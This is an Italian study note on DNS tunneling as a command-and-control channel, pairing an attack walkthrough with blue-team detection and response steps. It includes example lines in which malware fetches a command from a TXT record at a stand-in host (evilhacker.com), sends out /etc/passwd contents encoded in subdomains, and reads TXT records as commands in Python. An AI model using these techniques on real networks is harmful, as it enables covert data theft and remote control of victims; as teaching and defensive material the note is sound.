DNS Tunneling

Cosa fa

#

Trasforma il protocollo DNS in un canale bidirezionale C2 — i comandi viaggiano nei record TXT della risposta, i dati esfiltrati viaggiano codificati nei sottodomini della query.

TL;DR

#

Vittima                     Resolver (ISP)            Attaccante (Hetzner)
  |                               |                          |
  |-- query TXT beacon.evil.com ->|-- gira la query -------->|
  |<- risposta TXT "cat /etc/passwd" ------------------------|
  |                               |                          |
  |-- query cm9vdDp4.evil.com --->|-- gira la query -------->|
  |   (risultato in base32)       |   decodifica = /etc/passwd

Il firewall vede solo traffico DNS legitimo su UDP 53. Non vede mai una connessione diretta al C2.

Perche' e' nato

#

I firewall bloccano connessioni TCP dirette verso IP sospetti. HTTP e HTTPS verso domini sconosciuti vengono ispezionati o bloccati. Ma il DNS e' diverso: senza di esso la rete smette di funzionare. UDP 53 e' quasi sempre aperto e raramente ispezionato in profondita'. Il DNS tunneling sfrutta questa fiducia implicita.

Infrastruttura dell'attaccante

#

Per far funzionare il tunnel servono tre elementi:

Un dominio economico (es. evilhacker.com, ~5$/anno su Namecheap). Un VPS — qualsiasi provider come Hetzner. I record NS del dominio puntati al VPS.

Da quel momento il VPS e' l'authoritative nameserver per *.evilhacker.com. Ogni query DNS verso qualsiasi sottodominio di evilhacker.com arriva direttamente all'attaccante — attraverso il recursive resolver dell'ISP della vittima, che fa il lavoro sporco inconsapevolmente.

Flusso completo dell'attacco

#

sequenceDiagram
    participant V as Vittima (malware)
    participant R as Recursive Resolver
    participant A as Attaccante (authoritative)

    Note over V: Installato via phishing

    V->>R: query TXT beacon.evilhacker.com
    R->>A: query TXT beacon.evilhacker.com
    A->>R: risposta TXT "cat /etc/passwd"
    R->>V: risposta TXT "cat /etc/passwd"

    Note over V: esegue il comando localmente

    V->>R: query cm9vdDp4OjA6MC4uLg.evilhacker.com
    R->>A: query cm9vdDp4OjA6MC4uLg.evilhacker.com
    Note over A: decodifica sottodominio = /etc/passwd
    A->>R: risposta A 1.2.3.4 (dummy)
    R->>V: risposta A 1.2.3.4 (ignorata)

Encoding — perche' base32

#

I sottodomini DNS accettano solo a-z, 0-9, -. Il base64 standard usa anche + e /, che non sono validi. Si usa base32 o un base64 modificato che sostituisce i caratteri problematici.

STRUTTURA QUERY DI EXFILTRATION:

  cm9vdDp4OjA6MC4uLg  .  evilhacker  .  com
  |_________________|    |_________|     |__|
         |                    |            |
  dati in base32         dominio C2       TLD
  (output comando)    (va all'attaccante)

Esempio reale:
  echo "root:x:0:0:root:/root:/bin/bash" | base32
  → OJXW65B2OJXW65B2NFXGOLQ=
  → ojxw65b2ojxw65b2nfxgolq.evilhacker.com

Come il malware legge il record TXT

#

Il malware usa una libreria DNS standard — lo stesso meccanismo di dig o nslookup. Non c'e' nulla di speciale: fa una query di tipo TXT e legge il campo stringa della risposta.

import dns.resolver

risposta = dns.resolver.resolve("beacon.evilhacker.com", "TXT")
comando = risposta[0].strings[0].decode()
# comando = "cat /etc/passwd"

IoC — rilevamento Blue Team

#

# sottodomini lunghi in un dfir
tshark -r capture.dfir -Y "dns.qry.name" -T fields -e dns.qry.name \
  | awk 'length($0) > 50'

# volume per dominio base
tshark -r capture.dfir -Y "dns" -T fields -e dns.qry.name \
  | grep -oP '[^.]+\.[^.]+$' | sort | uniq -c | sort -rn | head

MITRE ATT&CK

#

T1071.004 — Application Layer Protocol: DNS Tattica: Command and Control

Tool

#

• dnscat2 — tunneling C2 via DNS, funziona anche senza dominio reale (modalita' diretta)
• iodine — tunneling IP-over-DNS, crea una interfaccia di rete virtuale

Lab previsto giovedi' 30/04 con Kali (attaccante) + Ubuntu (vittima) su rete locale.

Scenario Reale

#

Wazuh genera un alert: volume anomalo di query DNS verso randomstring.somedomain.com. Il pattern e' regolare ogni 60 secondi. I sottodomini cambiano ad ogni query ma il dominio base e' sempre lo stesso.

# sul host sospetto, verifica quale processo fa le query DNS
sudo tcpdump -i any port 53 -n

# identifica il processo con connessioni attive
ss -tulnp | grep -i dns
lsof -i UDP:53

Se confermato: isola l'host, analisi memoria per estrarre il malware, blocca il dominio C2 a livello firewall/DNS sinkhooling.

Collegato a

#

• network — categoria
• dns-records — NS record, TXT record, authoritative server
• dns-resolution-flow — catena recursive resolver → authoritative
• tshark — rilevamento pattern anomali nel dfir
• wazuh-architecture — alert su volume DNS anomalo
• reverse-shell — altro vettore C2, confronto con DNS tunneling
• glossario-cyber — definizioni: C2, beaconing, vettore di attacco